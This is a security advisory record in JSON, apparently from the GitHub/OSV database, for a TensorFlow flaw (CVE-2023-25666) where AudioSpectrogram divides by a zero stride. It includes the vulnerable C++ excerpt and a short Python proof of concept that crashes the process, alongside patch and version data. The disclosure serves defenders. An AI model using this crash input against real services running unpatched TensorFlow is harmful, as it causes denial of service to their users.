{"id":"GHSA-f637-vh3r-vfh2","summary":"TensorFlow has Floating Point Exception in AudioSpectrogram ","details":"### Impact\nversion:2.11.0 //core/ops/audio_ops.cc:70\n\nStatus SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF_RETURN_IF_ERROR(c-\u003eWithRank(c-\u003einput(0), 2, &input)); int32_t window_size; TF_RETURN_IF_ERROR(c-\u003eGetAttr(\"window_size\", &window_size)); int32_t stride; TF_RETURN_IF_ERROR(c-\u003eGetAttr(\"stride\", &stride)); .....[1]\n\nDimensionHandle input_length = c-\u003eDim(input, 0); DimensionHandle input_channels = c-\u003eDim(input, 1);\n\nDimensionHandle output_length; if (!c-\u003eValueKnown(input_length)) { output_length = c-\u003eUnknownDim(); } else { const int64_t input_length_value = c-\u003eValue(input_length); const int64_t length_minus_window = (input_length_value - window_size); int64_t output_length_value; if (length_minus_window \u003c 0) { output_length_value = 0; } else { output_length_value = 1 + (length_minus_window / stride); .....[2] } output_length = c-\u003eMakeDim(output_length_value); }\n\nGet the value of stride at [1], and the used at [2]\n```python\nimport tensorflow as tf\n\npara = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window_size': 1, 'stride': 0, 'magnitude_squared': False}\nfunc = tf.raw_ops.AudioSpectrogram\n\n@tf.function(jit_compile=True)\ndef fuzz_jit():\n   y = func(**para)\n   return y\n\nfuzz_jit()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14](https://github.com/tensorflow/tensorflow/commit/d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx\n","aliases":["BIT-tensorflow-2023-25666","CVE-2023-25666","PYSEC-2026-1960","PYSEC-2026-3169","PYSEC-2026-3317"],"modified":"2026-07-13T16:43:31.401592124Z","published":"2023-03-24T21:57:18Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2023-03-24T21:57:18Z","nvd_published_at":"2023-03-25T00:15:00Z","cwe_ids":["CWE-697"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f637-vh3r-vfh2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25666"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.1"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.10.0rc0","2.10.0rc1","2.10.0rc2","2.10.0rc3","2.10.1","2.11.0","2.11.0rc0","2.11.0rc1","2.11.0rc2","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.0rc0","2.6.0rc1","2.6.0rc2","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.0rc0","2.7.0rc1","2.7.1","2.7.2","2.7.3","2.7.4","2.8.0","2.8.0rc0","2.8.0rc1","2.8.1","2.8.2","2.8.3","2.8.4","2.9.0","2.9.0rc0","2.9.0rc1","2.9.0rc2","2.9.1","2.9.2","2.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-f637-vh3r-vfh2/GHSA-f637-vh3r-vfh2.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.1"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.10.0rc0","2.10.0rc1","2.10.0rc2","2.10.0rc3","2.10.1","2.11.0","2.11.0rc0","2.11.0rc1","2.11.0rc2","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.8.0","2.8.1","2.8.2","2.8.3","2.8.4","2.9.0","2.9.0rc0","2.9.0rc1","2.9.0rc2","2.9.1","2.9.2","2.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-f637-vh3r-vfh2/GHSA-f637-vh3r-vfh2.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.1"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.10.0rc0","2.10.0rc1","2.10.0rc2","2.10.0rc3","2.10.1","2.11.0","2.11.0rc0","2.11.0rc1","2.11.0rc2","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.7.0","2.7.0rc0","2.7.0rc1","2.7.1","2.7.2","2.7.3","2.7.4","2.8.0","2.8.0rc0","2.8.0rc1","2.8.1","2.8.2","2.8.3","2.8.4","2.9.0","2.9.0rc0","2.9.0rc1","2.9.0rc2","2.9.1","2.9.2","2.9.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-f637-vh3r-vfh2/GHSA-f637-vh3r-vfh2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}